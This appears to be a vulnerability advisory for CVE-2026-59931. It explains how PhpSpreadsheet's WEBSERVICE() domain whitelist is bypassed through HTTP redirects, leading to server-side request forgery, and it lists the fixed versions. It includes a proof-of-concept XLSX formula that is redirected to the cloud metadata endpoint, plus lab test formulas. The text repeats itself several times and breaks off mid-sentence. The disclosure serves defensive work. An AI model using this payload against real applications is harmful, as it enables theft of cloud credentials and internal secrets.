CVE-2026-59931

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the WEBSERVICE() domain whitelist can be bypassed via an HTTP redirect (SSRF). In Calculation/Web/Service.php, the webService() method validates a URL's host against the whitelist set via Spreadsheet::setDomainWhiteList(), then fetches content with file_get_contents($url, false, $ctx); because PHP's HTTP stream wrapper follows 301/302 redirects automatically (up to 20 hops) and the redirect target is never re-validated, an attacker who can trigger a redirect from a whitelisted domain can reach arbitrary URLs, including internal addresses. An attacker able to upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can achieve a full-read SSRF, returning up to 32,767 bytes of the response body as a cell's calculated value, which enables exfiltration of cloud metadata (AWS/GCP/Azure credentials via http://169.254.169.254/), access to internal-only services, and internal port scanning (the port is not validated). This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18, and 1.30.6.

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the WEBSERVICE() domain whitelist can be bypassed via an HTTP redirect (SSRF). In Calculation/Web/Service.php, the webService() method validates a URL's host against the whitelist set via Spreadsheet::setDomainWhiteList(), then fetches content with file_get_contents($url, false, $ctx); because PHP's HTTP stream wrapper follows 301/302 redirects automatically (up to 20 hops) and the redirect target is never re-validated, an attacker who can trigger a redirect from a whitelisted domain can reach arbitrary URLs, including internal addresses. An attacker able to upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can achieve a full-read SSRF, returning up to 32,767 bytes of the response body as a cell's calculated value, which enables exfiltration of cloud metadata (AWS/GCP/Azure credentials via http://169.254.169.254/), access to internal-only services, and internal port scanning (the port is not validated). This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18, and 1.30.6.

Summary

The domain whitelist introduced in PhpSpreadsheet 5.4.0 for the WEBSERVICE() formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but file_get_contents() follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.

Details

In Calculation/Web/Service.php, the webService() method validates the URL's host against a domain whitelist set via Spreadsheet::setDomainWhiteList(). If the host passes validation, the method calls file_get_contents($url, false, $ctx) to fetch the content.

The stream context does not disable redirect following:

$ctxArray = [
    'http' => [
        'user_agent' => 'Mozilla/5.0 ...',
        // follow_location defaults to true
        // max_redirects defaults to 20
    ],
];

PHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is not re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.

Vulnerable code (Calculation/Web/Service.php):

// Whitelist check — runs ONCE on the initial URL
$domainWhiteList = $cell?->getWorksheet()->getParent()?->getDomainWhiteList() ?? [];
$host = $parsed['host'] ?? '';
if (!in_array($host, $domainWhiteList, true)) {
    return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;
}

// HTTP request — follows redirects to ANY destination
$ctx = stream_context_create($ctxArray);
$output = @file_get_contents($url, false, $ctx);

Additionally, the whitelist check uses only the hostname from parse_url(), ignoring the port. This means whitelisting example.com permits access to all ports on that host.

PoC

Prerequisites:

• Application uses PhpSpreadsheet >= 5.4.0
• Application calls $spreadsheet->setDomainWhiteList([...]) with at least one domain
• Application calls $cell->getCalculatedValue() on uploaded XLSX files

Attack steps:

1. Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).

2. Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:

<c r="A1">
  <f>_xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f>
</c>

3. Upload the XLSX to the target application. The calculation engine:
   • Validates whitelisted-domain.com against the whitelist — passes
   • Calls file_get_contents("http://whitelisted-domain.com/redirect?url=...")
   • file_get_contents follows the 302 redirect to http://169.254.169.254/latest/meta-data/ — no re-validation
   • Returns the cloud metadata response as the cell's calculated value

Lab reproduction:

# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)
# App whitelists "trusted-api.example.com"
# Redirect server on trusted-api.example.com:7071 returns 302 → internal target

# Test 1: Direct internal access — BLOCKED by whitelist
=WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets")
→ Result: null (blocked)

# Test 2: Via redirect from whitelisted domain — BYPASS
=WEBSERVICE("http://trusted-api.example.com:7071/redirect-to-internal")
→ Result: {"ssrf":"CONFIRMED","secret":"internal-api-key-LATEST","server":"Linux ..."}

Confirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).

Impact

An attacker who can upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can:

• Bypass the domain whitelist by routing requests through a whitelisted domain that redirects to internal targets -…

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the WEBSERVICE() domain whitelist can be bypassed via an HTTP redirect (SSRF). In Calculation/Web/Service.php, the webService() method validates a URL's host against the whitelist set via Spreadsheet::setDomainWhiteList(), then fetches content with file_get_contents($url, false, $ctx); because PHP's HTTP stream wrapper follows 301/302 redirects automatically (up to 20 hops) and the redirect target is never re-validated, an attacker who can trigger a redirect from a whitelisted domain can reach arbitrary URLs, including internal addresses. An attacker able to upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can achieve a full-read SSRF, returning up to 32,767 bytes of the response body as a cell's calculated value, which enables exfiltration of cloud metadata (AWS/GCP/Azure credentials via http://169.254.169.254/), access to internal-only services, and internal port scanning (the port is not validated). This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18, and 1.30.6.

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the WEBSERVICE() domain whitelist can be bypassed via an HTTP redirect (SSRF). In Calculation/Web/Service.php, the webService() method validates a URL's host against the whitelist set via Spreadsheet::setDomainWhiteList(), then fetches content with file_get_contents($url, false, $ctx); because PHP's HTTP stream wrapper follows 301/302 redirects automatically (up to 20 hops) and the redirect target is never re-validated, an attacker who can trigger a redirect from a whitelisted domain can reach arbitrary URLs, including internal addresses. An attacker able to upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can achieve a full-read SSRF, returning up to 32,767 bytes of the response body as a cell's calculated value, which enables exfiltration of cloud metadata (AWS/GCP/Azure credentials via http://169.254.169.254/), access to internal-only services, and internal port scanning (the port is not validated). This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18, and 1.30.6.

Summary

The domain whitelist introduced in PhpSpreadsheet 5.4.0 for the WEBSERVICE() formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but file_get_contents() follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.

Details

In Calculation/Web/Service.php, the webService() method validates the URL's host against a domain whitelist set via Spreadsheet::setDomainWhiteList(). If the host passes validation, the method calls file_get_contents($url, false, $ctx) to fetch the content.

The stream context does not disable redirect following:

$ctxArray = [
    'http' => [
        'user_agent' => 'Mozilla/5.0 ...',
        // follow_location defaults to true
        // max_redirects defaults to 20
    ],
];

PHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is not re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.

Vulnerable code (Calculation/Web/Service.php):

// Whitelist check — runs ONCE on the initial URL
$domainWhiteList = $cell?->getWorksheet()->getParent()?->getDomainWhiteList() ?? [];
$host = $parsed['host'] ?? '';
if (!in_array($host, $domainWhiteList, true)) {
    return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;
}

// HTTP request — follows redirects to ANY destination
$ctx = stream_context_create($ctxArray);
$output = @file_get_contents($url, false, $ctx);

Additionally, the whitelist check uses only the hostname from parse_url(), ignoring the port. This means whitelisting example.com permits access to all ports on that host.

PoC

Prerequisites:

• Application uses PhpSpreadsheet >= 5.4.0
• Application calls $spreadsheet->setDomainWhiteList([...]) with at least one domain
• Application calls $cell->getCalculatedValue() on uploaded XLSX files

Attack steps:

1. Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).

2. Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:

<c r="A1">
  <f>_xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f>
</c>

3. Upload the XLSX to the target application. The calculation engine:
   • Validates whitelisted-domain.com against the whitelist — passes
   • Calls file_get_contents("http://whitelisted-domain.com/redirect?url=...")
   • file_get_contents follows the 302 redirect to http://169.254.169.254/latest/meta-data/ — no re-validation
   • Returns the cloud metadata response as the cell's calculated value

Lab reproduction:

# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)
# App whitelists "trusted-api.example.com"
# Redirect server on trusted-api.example.com:7071 returns 302 → internal target

# Test 1: Direct internal access — BLOCKED by whitelist
=WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets")
→ Result: null (blocked)

# Test 2: Via redirect from whitelisted domain — BYPASS
=WEBSERVICE("http://trusted-api.example.com:7071/redirect-to-internal")
→ Result: {"ssrf":"CONFIRMED","secret":"internal-api-key-LATEST","server":"Linux ..."}

Confirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).

Impact

An attacker who can upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can:

• Bypass the domain whitelist by routing requests through a whitelisted domain that redirects to internal targets -…